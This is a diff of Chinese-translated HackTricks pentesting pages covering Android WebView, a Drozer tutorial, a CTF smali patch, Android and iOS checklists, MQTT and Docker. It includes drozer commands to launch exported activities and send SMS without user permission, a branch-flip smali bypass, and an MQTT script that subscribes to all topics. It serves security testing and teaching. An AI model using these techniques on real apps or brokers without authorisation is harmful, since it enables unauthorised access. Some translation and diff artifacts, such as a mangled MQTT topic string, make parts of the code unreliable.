加载内容,可以使用 `loadUrl``loadData``loadDataWithBaseURL` 等方法。确保这些 URL 或文件是 **安全使用** 的至关重要。安全设置可以通过 `WebSettings` 类进行管理。例如,使用 `setJavaScriptEnabled(false)` 禁用 JavaScript 可以防止 XSS 攻击。
对于加载内容,可以使用 `loadUrl``loadData``loadDataWithBaseURL` 等方法。确保这些 URL 或文件是 **安全使用** 的至关重要。安全设置可以通过 `WebSettings` 类进行管理。例如,通过 `setJavaScriptEnabled(false)` 禁用 JavaScript 可以防止 XSS 攻击。
JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互,从 Android 4.2 开始,要求方法使用 `@JavascriptInterface` 标记以确保安全。
@ -346,7 +346,7 @@ JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互,从 Android 4.2
### **应用程序的数字签名**
- **数字签名** 是 Android 应用的必,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
- **数字签名** 是 Android 应用的必要条件,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
### **增强安全性的应用验证**

View File

@ -1,25 +1,25 @@
# Drozer 教程
# Drozer Tutorial
{{#include ../../../banners/hacktricks-training.md}}
## 待测试的 APK
## APKs to test
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (来自 mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**本教程的部分内容摘自** [**Drozer 文档 pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**。**
## 安装
## Installation
在您的主机中安装 Drozer 客户端。可以从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
在您的主机上安装 Drozer Client。 从 [最新版本](https://github.com/mwrlabs/drozer/releases) 下载。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
```
从[最新版本](https://github.com/mwrlabs/drozer/releases)下载并安装drozer APK。目前是[这个](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)。
下载并安装来自 [latest releases](https://github.com/mwrlabs/drozer/releases) 的 drozer APK。目前是 [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk)。
```bash
adb install drozer.apk
```
@ -29,7 +29,7 @@ Agent 正在 31415 端口运行,我们需要 [port forward](https://en.wikiped
```bash
adb forward tcp:31415 tcp:31415
```
最后,**启动** **应用程序**,并按下底部的 "**开启**"
最后,**启动** **应用程序**,并按下底部的 "**ON**"
![](<../../../images/image (459).png>)
@ -47,11 +47,11 @@ drozer console connect
| **clean** | 删除 drozer 在 Android 设备上存储的临时文件。 |
| **load** | 加载包含 drozer 命令的文件并按顺序执行它们。 |
| **module** | 从互联网查找并安装额外的 drozer 模块。 |
| **unset** | 删除 drozer 传递给任何它生成的 Linux shell 的命名变量。 |
| **set** | 在变量中存储一个值,该值将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
| **unset** | 删除 drozer 传递给其生成的任何 Linux shell 的命名变量。 |
| **set** | 将值存储在变量中,该变量将作为环境变量传递给 drozer 生成的任何 Linux shell。 |
| **shell** | 在设备上启动一个交互式 Linux shell处于 Agent 的上下文中。 |
| **run MODULE** | 执行一个 drozer 模块 |
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
| **exploit** | Drozer 可以创建在设备上执行的漏洞。 `drozer exploit list` |
| **payload** | 漏洞需要一个有效载荷。 `drozer payload list` |
### 包
@ -61,7 +61,7 @@ drozer console connect
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**包的基本信息**:
**包的基本信息**
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
@ -98,7 +98,7 @@ is debuggable
- **活动**: 也许你可以启动一个活动并绕过某种授权,这应该阻止你启动它。
- **内容提供者**: 也许你可以访问私有数据或利用某些漏洞SQL注入或路径遍历
- **服务**:
- **可调试**: [了解更多](./#is-debuggeable)
- **可调试**: [了解更多](#is-debuggeable)
### 活动
@ -117,14 +117,14 @@ com.mwr.example.sieve.PWList
```
**开始活动**
也许你可以启动一个活动并绕过某种应该阻止你启动它的授权
也许你可以启动一个活动并绕过某种授权,这种授权应该阻止你启动它。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
您还可以通过 **adb** 启动导出的活动:
- 包名是 com.example.demo
- 导出活动名称是 com.example.test.MainActivity
- PackageName 是 com.example.demo
- Exported ActivityName 是 com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
@ -164,7 +164,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>)
请注意,您将首先发送 "_msg.what_" 中的数据,然后是 "_msg.arg1_" 和 "_msg.arg2_",您应该检查代码 **使用了哪些信息** 以及在哪里。\
使用 `--extra` 选项,您可以发送由 "_msg.replyTo" _ 解释的内容,使用 `--bundle-as-obj` 您可以创建一个包含提供的详细信息的对象。
使用 `--extra` 选项,您可以发送由 "_msg.replyTo"_" 解释的内容,使用 `--bundle-as-obj` 您可以创建一个包含提供的详细信息的对象。
在以下示例中:
@ -216,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
```
#### 发送消息
在这个例子中,利用 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) 内容提供者,你可以 **发送任意短信** 到任何非高级目的地 **而无需** 用户许可。
在这个例子中,利用 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) 内容提供者,你可以 **发送任意短信** 到任何非高级目的地 **而无需** 用户许可。
![](<../../../images/image (415).png>)
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### 是否可调试
生产APK绝不应该是可调试的。\
这意味着您可以**将Java调试器**附加到正在运行的应用程序,实时检查,设置断点,逐步执行,收集变量值甚至更改它们。[InfoSec institute有一篇关于深入挖掘可调试应用程序和注入运行时代码的优秀文章](../exploiting-a-debuggeable-applciation.md)。
这意味着您可以**附加Java调试器**到正在运行的应用程序,实时检查,设置断点,逐步执行,收集变量值甚至更改它们。[InfoSec institute有一篇优秀文章](../exploiting-a-debuggeable-applciation.md)关于当您的应用程序可调试时深入挖掘和注入运行时代码
当应用程序可调试时它将在Manifest中出现
```xml

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
在这里下载APK
在这里下载 APK
我将把APK上传到[https://appetize.io/](https://appetize.io)免费账户以查看APK的行为
我将把 APK 上传到 [https://appetize.io/](https://appetize.io)(免费账户)以查看 APK 的行为:
![](<../../images/image (421).png>)
看起来你需要赢得1000000次才能获得标志。
看起来你需要赢得 1000000 次才能获得标志。
按照[pentesting Android](./)的步骤,你可以反编译应用程序以获取smali代码并使用jadx读取Java代码。
按照 [pentesting Android]() 的步骤,你可以反编译应用程序以获取 smali 代码,并使用 jadx 阅读 Java 代码。
阅读Java代码
阅读 Java 代码:
![](<../../images/image (495).png>)
看起来打印标志的函数是**m()**
看起来打印标志的函数是 **m()**
## **Smali更改**
## **Smali 更改**
### **第一次调用m()**
### **第一次调用 m()**
让我们让应用程序在变量_this.o != 1000000时调用m(),只需更改条件:
让我们让应用程序在变量 _this.o != 1000000_ 的情况下调用 m(),为此,只需更改条件:
```
if-ne v0, v9, :cond_2
```
请提供需要翻译的文本
请提供需要翻译的内容
```
if-eq v0, v9, :cond_2
```
@ -34,17 +34,17 @@ if-eq v0, v9, :cond_2
![After](<../../images/image (838).png>)
按照 [pentest Android](./) 的步骤重新编译并签名 APK。然后将其上传到 [https://appetize.io/](https://appetize.io),让我们看看会发生什么:
按照 [pentest Android]() 的步骤重新编译并签名 APK。然后将其上传到 [https://appetize.io/](https://appetize.io),让我们看看会发生什么:
![](<../../images/image (128).png>)
看起来标志是在没有完全解密的情况下写的。可能需要调用 m() 函数 1000000 次。
**另一种方法**是不要改指令,而是改比较的指令:
**另一种方法**是不要改指令,而是改比较的指令:
![](<../../images/image (840).png>)
**另一种方法**是将比较值从 1000000 改为 1这样 this.o 就会与 1 进行比较:
**另一种方法**是将比较值从 1000000 设置为 1这样 this.o 就与 1 进行比较:
![](<../../images/image (629).png>)

View File

@ -1,31 +1,31 @@
# Android APK 检查清单
# Android APK Checklist
{{#include ../banners/hacktricks-training.md}}
### [学习 Android 基础知识](android-app-pentesting/#2-android-application-fundamentals)
### [学习 Android 基础](android-app-pentesting/index.html#2-android-application-fundamentals)
- [ ] [基础知识](android-app-pentesting/#fundamentals-review)
- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
- [ ] [入口点](android-app-pentesting/#application-entry-points)
- [ ] [活动](android-app-pentesting/#launcher-activity)
- [ ] [URL 方案](android-app-pentesting/#url-schemes)
- [ ] [内容提供者](android-app-pentesting/#services)
- [ ] [服务](android-app-pentesting/#services-1)
- [ ] [广播接收器](android-app-pentesting/#broadcast-receivers)
- [ ] [意图](android-app-pentesting/#intents)
- [ ] [意图过滤器](android-app-pentesting/#intent-filter)
- [ ] [其他组件](android-app-pentesting/#other-app-components)
- [ ] [如何使用 ADB](android-app-pentesting/#adb-android-debug-bridge)
- [ ] [如何修改 Smali](android-app-pentesting/#smali)
- [ ] [基础知识](android-app-pentesting/index.html#fundamentals-review)
- [ ] [Dalvik & Smali](android-app-pentesting/index.html#dalvik--smali)
- [ ] [入口点](android-app-pentesting/index.html#application-entry-points)
- [ ] [活动](android-app-pentesting/index.html#launcher-activity)
- [ ] [URL 方案](android-app-pentesting/index.html#url-schemes)
- [ ] [内容提供者](android-app-pentesting/index.html#services)
- [ ] [服务](android-app-pentesting/index.html#services-1)
- [ ] [广播接收器](android-app-pentesting/index.html#broadcast-receivers)
- [ ] [意图](android-app-pentesting/index.html#intents)
- [ ] [意图过滤器](android-app-pentesting/index.html#intent-filter)
- [ ] [其他组件](android-app-pentesting/index.html#other-app-components)
- [ ] [如何使用 ADB](android-app-pentesting/index.html#adb-android-debug-bridge)
- [ ] [如何修改 Smali](android-app-pentesting/index.html#smali)
### [静态分析](android-app-pentesting/#static-analysis)
### [静态分析](android-app-pentesting/index.html#static-analysis)
- [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/#other-checks)。
- [ ] 敏感应用程序(如银行应用)应检查手机是否已被 root并应采取相应措施。
- [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)密码、URL、API、加密、后门、令牌、蓝牙 UUID...)。
- [ ] 特别注 [firebase](android-app-pentesting/#firebase) API。
- [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/index.html#other-checks)。
- [ ] 敏感应用(如银行应用)应检查手机是否已被 root并应采取相应措施。
- [ ] 搜索 [有趣的字符串](android-app-pentesting/index.html#looking-for-interesting-info)密码、URL、API、加密、后门、令牌、蓝牙 UUID)。
- [ ] 特别注 [firebase](android-app-pentesting/index.html#firebase) API。
- [ ] [阅读清单:](android-app-pentesting/index.html#basic-understanding-of-the-application-manifest-xml)
- [ ] 检查应用程序是否处于调试模式并尝试“利用”它
- [ ] 检查 APK 是否允许备份
- [ ] 导出的活动
@ -33,29 +33,29 @@
- [ ] 暴露的服务
- [ ] 广播接收器
- [ ] URL 方案
- [ ] 应用程序是否 [不安全地内部或外部保存数据](android-app-pentesting/#insecure-data-storage)
- [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)
- [ ] 应用程序是否 [不安全地保存数据](android-app-pentesting/index.html#insecure-data-storage)
- [ ] 是否有任何 [硬编码或保存在磁盘上的密码](android-app-pentesting/index.html#poorkeymanagementprocesses)应用程序是否 [使用不安全的加密算法](android-app-pentesting/index.html#useofinsecureandordeprecatedalgorithms)
- [ ] 所有库是否使用 PIE 标志编译?
- [ ] 不要忘记有一堆 [静态 Android 分析器](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助你。
- [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/index.html#automatic-analysis) 可以在此阶段帮助你。
### [动态分析](android-app-pentesting/#dynamic-analysis)
### [动态分析](android-app-pentesting/index.html#dynamic-analysis)
- [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis)[本地 VM 或物理](android-app-pentesting/#local-dynamic-analysis)
- [ ] 是否有任何 [意外的数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
- [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/#sqlite-dbs)
- [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)
- [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)
- [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)
- [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)
- [ ] 应用程序是否 [以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)?是否可能发生中间人攻击?
- [ ] [检查 HTTP/HTTPS 流量](android-app-pentesting/#inspecting-http-traffic)
- [ ] 准备环境([在线](android-app-pentesting/index.html#online-dynamic-analysis)[本地 VM 或物理](android-app-pentesting/index.html#local-dynamic-analysis)
- [ ] 是否有任何 [意外的数据泄露](android-app-pentesting/index.html#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
- [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/index.html#sqlite-dbs)
- [ ] [可利用的暴露活动](android-app-pentesting/index.html#exploiting-exported-activities-authorisation-bypass)
- [ ] [可利用的内容提供者](android-app-pentesting/index.html#exploiting-content-providers-accessing-and-manipulating-sensitive-information)
- [ ] [可利用的暴露服务](android-app-pentesting/index.html#exploiting-services)
- [ ] [可利用的广播接收器](android-app-pentesting/index.html#exploiting-broadcast-receivers)
- [ ] 应用程序是否 [以明文传输信息/使用弱算法](android-app-pentesting/index.html#insufficient-transport-layer-protection)?是否可能发生中间人攻击?
- [ ] [检查 HTTP/HTTPS 流量](android-app-pentesting/index.html#inspecting-http-traffic)
- [ ] 这一点非常重要,因为如果你能捕获 HTTP 流量,你可以搜索常见的 Web 漏洞Hacktricks 有很多关于 Web 漏洞的信息)。
- [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里有所帮助)
- [ ] [Frida](android-app-pentesting/#frida):仅使用 Frida从应用程序中获取有趣的动态数据也许一些密码...
- [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/index.html#android-client-side-injections-and-others)(可能一些静态代码分析会在这里提供帮助)
- [ ] [Frida](android-app-pentesting/index.html#frida):仅使用 Frida从应用程序中获取有趣的动态数据也许一些密码...
### 一些混淆/去混淆信息
- [ ] [在这里阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
- [ ] [在这里阅读](android-app-pentesting/index.html#obfuscating-deobfuscating-code)
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,88 +6,88 @@
- [ ] 阅读 [**iOS 基础**](ios-pentesting/ios-basics.md)
- [ ] 准备你的环境,阅读 [**iOS 测试环境**](ios-pentesting/ios-testing-environment.md)
- [ ] 阅读 [**iOS 初步分析**](ios-pentesting/#initial-analysis) 的所有部分,以了解对 iOS 应用进行渗透测试的常见操作
- [ ] 阅读 [**iOS 初步分析**](ios-pentesting/index.html#initial-analysis) 的所有部分,以了解对 iOS 应用进行渗透测试的常见操作
### 数据存储
- [ ] [**Plist 文件**](ios-pentesting/#plist) 可用于存储敏感信息。
- [ ] [**Core Data**](ios-pentesting/#core-data)SQLite 数据库)可以存储敏感信息。
- [ ] [**YapDatabases**](ios-pentesting/#yapdatabase)SQLite 数据库)可以存储敏感信息。
- [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) 配置错误。
- [ ] [**Realm 数据库**](ios-pentesting/#realm-databases) 可以存储敏感信息。
- [ ] [**Couchbase Lite 数据库**](ios-pentesting/#couchbase-lite-databases) 可以存储敏感信息。
- [ ] [**二进制 Cookie**](ios-pentesting/#cookies) 可以存储敏感信息
- [ ] [**缓存数据**](ios-pentesting/#cache) 可以存储敏感信息
- [ ] [**自动快照**](ios-pentesting/#snapshots) 可以保存视觉敏感信息
- [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储敏感信息,这些信息在转售手机时可能会被遗留。
- [ ] [**Plist 文件**](ios-pentesting/index.html#plist) 可用于存储敏感信息。
- [ ] [**Core Data**](ios-pentesting/index.html#core-data)SQLite 数据库)可以存储敏感信息。
- [ ] [**YapDatabases**](ios-pentesting/index.html#yapdatabase)SQLite 数据库)可以存储敏感信息。
- [ ] [**Firebase**](ios-pentesting/index.html#firebase-real-time-databases) 配置错误。
- [ ] [**Realm 数据库**](ios-pentesting/index.html#realm-databases)可以存储敏感信息。
- [ ] [**Couchbase Lite 数据库**](ios-pentesting/index.html#couchbase-lite-databases)可以存储敏感信息。
- [ ] [**二进制 Cookie**](ios-pentesting/index.html#cookies)可以存储敏感信息
- [ ] [**缓存数据**](ios-pentesting/index.html#cache)可以存储敏感信息
- [ ] [**自动快照**](ios-pentesting/index.html#snapshots)可以保存视觉敏感信息
- [ ] [**钥匙串**](ios-pentesting/index.html#keychain) 通常用于存储敏感信息,这些信息在转售手机时可能会被遗留。
- [ ] 总之,只需 **检查应用程序在文件系统中保存的敏感信息**
### 键盘
- [ ] 应用程序是否 [**允许使用自定义键盘**](ios-pentesting/#custom-keyboards-keyboard-cache)
- [ ] 检查敏感信息是否保存在 [**键盘缓存文件**](ios-pentesting/#custom-keyboards-keyboard-cache) 中
- [ ] 应用程序是否 [**允许使用自定义键盘**](ios-pentesting/index.html#custom-keyboards-keyboard-cache)
- [ ] 检查是否在 [**键盘缓存文件**](ios-pentesting/index.html#custom-keyboards-keyboard-cache) 中保存了敏感信息。
### **日志**
- [ ] 检查是否 [**记录了敏感信息**](ios-pentesting/#logs)
- [ ] 检查是否 [**记录了敏感信息**](ios-pentesting/index.html#logs)
### 备份
- [ ] [**备份**](ios-pentesting/#backups) 可用于 **访问文件系统中保存的敏感信息**(检查此检查表的初始点)
- [ ] 此外,[**备份**](ios-pentesting/#backups) 可用于 **修改应用程序的一些配置**,然后 **在手机上恢复** 备份,作为 **修改后的配置****加载** 时,某些(安全) **功能** 可能会被 **绕过**
- [ ] [**备份**](ios-pentesting/index.html#backups) 可用于 **访问文件系统中保存的敏感信息**(检查此检查表的初始点)
- [ ] 此外,[**备份**](ios-pentesting/index.html#backups) 可用于 **修改应用程序的一些配置**,然后 **在手机上恢复** 备份,作为 **修改后的配置****加载** 时,某些(安全) **功能** 可能会被 **绕过**
### **应用程序内存**
- [ ] 检查 [**应用程序内存**](ios-pentesting/#testing-memory-for-sensitive-data) 中的敏感信息
- [ ] 检查 [**应用程序内存**](ios-pentesting/index.html#testing-memory-for-sensitive-data) 中的敏感信息
### **破损的加密**
- [ ] 检查是否可以找到 [**用于加密的密码**](ios-pentesting/#broken-cryptography)
- [ ] 检查是否使用 [**过时/弱算法**](ios-pentesting/#broken-cryptography) 来发送/存储敏感数据
- [ ] [**钩取并监控加密函数**](ios-pentesting/#broken-cryptography)
- [ ] 检查是否可以找到 [**用于加密的密码**](ios-pentesting/index.html#broken-cryptography)
- [ ] 检查是否使用 [**过时/弱算法**](ios-pentesting/index.html#broken-cryptography) 来发送/存储敏感数据
- [ ] [**钩取并监控加密函数**](ios-pentesting/index.html#broken-cryptography)
### **本地身份验证**
- [ ] 如果应用程序中使用了 [**本地身份验证**](ios-pentesting/#local-authentication),你应该检查身份验证的工作方式。
- [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
- [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),你可以创建一个自定义的 frida 脚本
- [ ] 如果应用程序中使用了 [**本地身份验证**](ios-pentesting/index.html#local-authentication),你应该检查身份验证的工作方式。
- [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/index.html#local-authentication-framework),则可能很容易被绕过
- [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/index.html#local-authentication-using-keychain),你可以创建一个自定义的 frida 脚本
### 通过 IPC 暴露敏感功能
- [**自定义 URI 处理程序 / 深度链接 / 自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] 检查应用程序是否 **注册了任何协议/方案**
- [ ] 检查应用程序是否 **注册以使用** 任何协议/方案
- [ ] 检查应用程序 **是否期望从自定义方案接收任何类型的敏感信息**信息可以被注册相同方案的另一个应用程序 **拦截**
- [ ] 检查应用程序 **是否检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
- [**通用链接**](ios-pentesting/#universal-links)
- [ ] 检查应用程序是否 **注册了任何通用协议/方案**
- [ ] 检查 `apple-app-site-association` 文件
- [ ] 检查应用程序 **是否检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
- [**自定义 URI 处理程序 / 深度链接 / 自定义方案**](ios-pentesting/index.html#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] 检查应用程序是否 **注册了任何协议/方案**
- [ ] 检查应用程序是否 **注册以使用** 任何协议/方案
- [ ] 检查应用程序 **是否期望从自定义方案接收任何类型的敏感信息**这些信息可以被注册相同方案的另一个应用程序 **拦截**
- [ ] 检查应用程序 **是否没有检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
- [**通用链接**](ios-pentesting/index.html#universal-links)
- [ ] 检查应用程序是否 **注册了任何通用协议/方案**
- [ ] 检查 `apple-app-site-association` 文件
- [ ] 检查应用程序 **是否没有检查和清理** 通过自定义方案的用户输入,某些 **漏洞可能被利用**
- [ ] 检查应用程序 **是否暴露任何敏感操作**,可以通过自定义方案从任何地方调用
- [**UIActivity 共享**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] 检查应用程序是否可以接收 UIActivities是否可以利用任何特殊构造的活动来利用漏洞
- [ ] 检查应用程序是否可以接收 UIActivities是否可以利用任何特殊构造的活动来利用漏洞
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] 检查应用程序是否 **将任何内容复制到通用剪贴板**
- [ ] 检查应用程序是否 **使用通用剪贴板中的数据**
- [ ] 监控剪贴板以查看是否有任何 **敏感数据被复制**
- [ ] 检查应用程序是否 **将任何内容复制到通用剪贴板**
- [ ] 检查应用程序是否 **使用通用剪贴板中的数据**
- [ ] 监控剪贴板以查看是否有任何 **敏感数据被复制**
- [**应用扩展**](ios-pentesting/ios-app-extensions.md)
- [ ] 应用程序是否 **使用任何扩展**
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] 检查使用的 WebViews 类型
- [ ] 检查 **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`** 的状态
- [ ] 检查 webview 是否可以 **访问本地文件**使用协议 **file://** **`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`**
- [ ] 检查 Javascript 是否可以访问 **Native** **方法**`JSContext``postMessage`
- [ ] 检查使用了哪种类型的 webviews。
- [ ] 检查 **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`** 的状态
- [ ] 检查 webview 是否可以使用协议 **file://** **`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`** 访问本地文件。
- [ ] 检查 Javascript 是否可以访问 **Native** **方法**`JSContext``postMessage`)。
### 网络通信
- [ ] 执行 [**MitM 到通信**](ios-pentesting/#network-communication) 并搜索 Web 漏洞。
- [ ] 检查 [**证书的主机名**](ios-pentesting/#hostname-check) 是否被检查
- [ ] 检查/绕过 [**证书钉扎**](ios-pentesting/#certificate-pinning)
- [ ] 执行 [**MitM 通信**](ios-pentesting/index.html#network-communication) 并搜索网络漏洞。
- [ ] 检查 [**证书的主机名**](ios-pentesting/index.html#hostname-check) 是否被检查
- [ ] 检查/绕过 [**证书钉扎**](ios-pentesting/index.html#certificate-pinning)
### **杂项**
### **其他**
- [ ] 检查 [**自动修补/更新**](ios-pentesting/#hot-patching-enforced-updateing) 机制
- [ ] 检查 [**恶意第三方库**](ios-pentesting/#third-parties)
- [ ] 检查 [**自动修补/更新**](ios-pentesting/index.html#hot-patching-enforced-updateing) 机制
- [ ] 检查 [**恶意第三方库**](ios-pentesting/index.html#third-parties)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,18 +4,18 @@
## 基本信息
**MQ Telemetry Transport (MQTT)** 被称为 **发布/订阅消息协议**,以其极简和轻量化而著称。该协议专门为设备能力有限且在低带宽、高延迟或不可靠连接的网络环境中运行而量身定制。MQTT的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外它旨在保持可靠的通信并提供一定程度的交付保证。这些目标使得MQTT特别适合于蓬勃发展的 **机器对机器 (M2M) 通信****物联网 (IoT)** 领域在这些领域中高效连接大量设备至关重要。此外MQTT对移动应用程序也非常有利因为节省带宽和电池寿命至关重要。
**MQ Telemetry Transport (MQTT)** 被称为 **发布/订阅消息协议**,以其极简和轻量著称。该协议专门为设备能力有限且在低带宽、高延迟或不可靠连接的网络上运行的环境量身定制。MQTT的核心目标包括最小化网络带宽的使用和减少对设备资源的需求。此外它旨在保持可靠的通信并提供一定程度的交付保证。这些目标使得MQTT特别适合于蓬勃发展的 **机器对机器 (M2M) 通信****物联网 (IoT)** 领域在这些领域中高效连接大量设备至关重要。此外MQTT对移动应用程序也非常有利因为节省带宽和电池寿命至关重要。
**默认端口:** 1883
```
PORT STATE SERVICE REASON
1883/tcp open mosquitto version 1.4.8 syn-ack
```
## 检查流量
## Inspecting the traffic
当 MQTT 代理收到一个 **CONNECT** 数据包时,会发送回一个 **CONNACK** 数据包。这个数据包包含一个返回代码,这对于理解连接状态至关重要。返回代码 **0x00** 表示凭据已被接受,标志着连接成功。另一方面,返回代码 **0x05** 表示凭据无效,从而阻止连接。
当 MQTT 代理收到 **CONNECT** 数据包时,会发送回 **CONNACK** 数据包。该数据包包含一个返回代码,这对于理解连接状态至关重要。返回代码 **0x00** 表示凭据已被接受,标志着连接成功。另一方面,返回代码 **0x05** 表示凭据无效,从而阻止连接。
例如,如果代理因凭据无效而拒绝连接,场景将如下所示:
例如,如果代理因凭据无效而拒绝连接,场景将如下所示:
```
{
"returnCode": "0x05",
@ -30,7 +30,7 @@ PORT STATE SERVICE REASON
**身份验证是完全可选的**,即使进行身份验证,**默认情况下不使用加密**(凭据以明文发送)。仍然可以执行 MITM 攻击以窃取密码。
要连接到 MQTT 服务,可以使用:[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) 并通过以下方式订阅所有主题:
要连接到 MQTT 服务,可以使用:[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) 并通过以下方式订阅所有主题:
```
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
@ -56,7 +56,7 @@ PORT = 1883
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/#')
client.subscribe('$SYS/index.html#')
def on_message(client, userdata, message):
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
@ -94,11 +94,11 @@ main()
### 数据包类型
- CONNECT (1):由客户端发起请求与服务器的连接。
- CONNECT (1):由客户端发起请求与服务器的连接。
- CONNACK (2):服务器对成功连接的确认。
- PUBLISH (3):用于将消息从客户端发送到服务器或反之。
- PUBACK (4)对PUBLISH数据包的确认。
- PUBREC (5):消息传递协议的一部分,确保消息被接收。
- PUBREC (5):消息传递协议的一部分,确保消息被接收。
- PUBREL (6):进一步确保消息传递,指示消息释放。
- PUBCOMP (7):消息传递协议的最后部分,指示完成。
- SUBSCRIBE (8):客户端请求监听来自某个主题的消息。

View File

@ -6,13 +6,13 @@
#### 什么是
Docker 是 **容器化行业**的 **前沿平台**,引领着 **持续创新**。它促进了应用程序的轻松创建和分发,涵盖从 **传统到未来** 的各个方面,并确保它们在不同环境中的 **安全部署**
Docker 是 **容器化行业**的 **前沿平台**,引领着 **持续创新**。它促进了应用程序的轻松创建和分发,涵盖从 **传统到未来** 的各个方面,并确保它们在不同环境中的 **安全部署**
#### 基本 docker 架构
#### 基本 Docker 架构
- [**containerd**](http://containerd.io): 这是一个 **核心运行时**,负责容器的全面 **生命周期管理**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解****进一步探讨**
- [**containerd**](http://containerd.io): 这是一个 **核心运行时**,负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**,以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解****进一步探讨**
